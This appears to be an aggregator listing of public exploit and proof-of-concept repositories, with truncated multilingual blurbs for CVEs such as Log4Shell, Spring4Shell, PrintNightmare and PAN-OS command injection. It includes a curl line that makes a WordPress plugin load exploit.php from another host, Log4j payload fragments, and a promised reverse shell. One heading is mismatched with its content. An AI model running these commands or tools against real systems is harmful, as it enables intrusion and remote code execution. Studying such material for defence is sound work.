CVE-2024-4358_Mass_Exploit

CVE-2024-4358MassExploit Strumenti modificati da @sinsinology per effettuare exploit di massa. Requisiti Python 3.x Installazione root@kitploit: git clone https://github.com/Sk1dr0wz/CVE-2024-4358MassExploit.git cd CVE-2024-4358MassExploit pip intstall -r requirements.txt Come Eseguire...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 Come eseguirlo? root@kitploit: php log4j.php https://1337.com Requisiti PHP CURL PAYLOAD DNS LOG Collaborator Burpsuite o usa dnslog.cn Elenco Payload root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerName...

cve-2022-26809

CVE-2022-26809 Erkennt Angriffsversuche und erfolgreiche Ausnutzung von CVE-2022-26809, einer Remote-Codeausführung-Sicherheitslücke über DCE/RPC. Dieses Paket wird im Detail in diesem Corelight-Blogbeitrag beschrieben. Dieses Paket generiert die folgenden Meldungen: CVE202226809::ExploitAttempt,...

CVE-2019-0232

CVE-2019-0232 Analisi della vulnerabilità e PoC per Apache Tomcat - CGIServlet enableCmdLineArguments Esecuzione Remota di Codice RCE Video PoC disponibile su https://www.youtube.com/watch?v=RA7kzuHOWqA Dettagli Apache Tomcat presenta una vulnerabilità nel CGI Servlet che può essere sfruttata per...

CVE-2020-10238

Made by HK CVE-2020-10238: Controllo di accesso errato in comtemplates - RCE CVE-2020-10239: Controllo di accesso errato in comfields SQL field - RCE Link https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...

CVE-2022-22965-Spring4Shell

Spring4Shell Spring4Shell CVE-2022-22965 Proof Of Concept con un server Tomcat vulnerabile e un'applicazione spring4shell vulnerabile. Dettagli su questa vulnerabilità https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc...

CVE-2020-8813-Cacti-RCE-in-graph_realtime

CVE-2020-8813 – RCE über graphrealtime.php in Cacti 1.2.8 Funktionen RCE über graphrealtime.php in Cacti 1.2.8 Live-Modus Einzelnen Befehl ausführen Verbose-Modus Beschreibung...

CVE-2026-42945_NginxRift

🚀 NGINX Rift PoC Automation — CVE-2026-42945 Driver de automação PoC para exploração de RCE do containernginx-rift · Verificação do alvo → Exploit de comando único → Reverse-shell interativa Um único comando orquestra todo o fluxo do exploit — da verificação do container até obter a shell. ⚠️ Avis...

CVE-2023-46604

CVE-2023-46604 Dieses Repository enthält ein Exploit-Skript und eine Proof-of-Concept-PoC-XML-Datei für die Schwachstelle CVE-2023-46604, die Apache ActiveMQ betrifft. Die Schwachstelle ermöglicht die Remote-Ausführung von Code aufgrund unsicherer Deserialisierungspraktiken im OpenWire-Protokoll...

CVE-2019-7609

CVE-2019-7609 Kibana Vulnerabilità di esecuzione remota di codice dovuta a un difetto nel visualizzatore Timelion di Kibana Configurazione dell'ambiente docker 1. Eseguire il file docker-compose.yml allegato. root@kitploit: docker-comopse up -d 2. Accedere a http://127.0.0.1:5601 nel browser...

CVE-2024-38856_Scanner

CVE-2024-38856 Nur für ethische Zwecke. Jegliche schädlichen oder bösartigen Aktivitäten sind nicht erlaubt. Die Verantwortung liegt bei Ihnen. CVE-2024-38856: Scanner & Exploit für Remote-Codeausführung bei Apache OFBiz Die CVE-Analyse: https://blog.securelayer7.net/cve-2024-38856-apache-ofbiz-r...

CVE-2024-25641

Cacti CVE-2024-25641 Proof of Concept PoC di caricamento pacchetto autenticato con RCE Questo script è un Proof of Concept PoC per sfruttare la vulnerabilità CVE-2024-25641 in Cacti, uno strumento di monitoraggio basato sul web. Lo script automatizza il processo di autenticazione con...

CVE-2023-36884-MS-Office-HTML-RCE

CVE-2023-36884: RCE HTML di MS Office con documenti appositamente predisposti L'11 luglio 2023, Microsoft ha rilasciato una patch volta a risolvere molteplici vulnerabilità di esecuzione remota di codice RCE attivamente sfruttate. Questa azione ha anche fatto luce su una campagna di phishing...

CVE-2010-5301

CVE-2010-5301 Una proof of concept di un overflow SEH con iniezione arbitraria di DLL Descrizione Kolibrì HTTP Server 2.0 è affetto da un buffer overflow basato su stack. Al momento della scoperta, questa vulnerabilità veniva sfruttata semplicemente sovrascrivendo il puntatore all'istruzione con...

CVE-2019-9978

CVE-2019-9978 - RCE nel plugin Wordpress Social Warfare RCE su un plugin Wordpress Social Warfare senza alcuna autenticazione preventiva Proof of Concept root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Codice...

MDaemon-Advisories

MDaemon-Advisories Avvisi MDaemon: CVE-2021-27180 XSS riflesso CVE-2021-27181 Fissazione del token CSRF CVE-2021-27182 Iniezione iframe CVE-2021-27183 Esecuzione remota di codice Queste vulnerabilità sono già state corrette a gennaio 2021 e sono pubblicate per scopi CVE. Possono essere concatenat...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Implementazione Impacket del PrintNightmare PoC originariamente creato da Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Testato su un Domain Controller 2019 completamente patchato Esegui DLL dannose in remoto o localmente Aggiornamento della patch Microsoft h...

cve-2017-9805.py

CVE-2017-9805.py 1. Código de exploração melhorado para CVE 2017 9805 apache struts 2. Deve ser praticamente à prova de erros Por que Recodificar? Descobri que a maioria dos códigos de exploração disponíveis online simplesmente usa concatenação de strings para inserir comandos fornecidos pelo...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS Command Injection Descrizione del fornitore Una vulnerabilità di command injection nella funzionalità GlobalProtect del software PAN-OS di Palo Alto Networks per specifiche versioni di PAN-OS e distinte configurazioni di funzionalità può consentire a un...

Safer_PoC_CVE-2022-22965

SaferPoCCVE-2022-22965 Ein sichererer PoC für CVE-2022-22965 Spring4Shell Funktionalität Erstellt eine Datei namens CVE2022-22965exploited.txt im Tomcat-Verzeichnis webapps/ROOT Optionales Benutzerargument zum Ändern des Ausgabeverzeichnisses Die Exploit-Validierung erfolgt durch Anfordern der...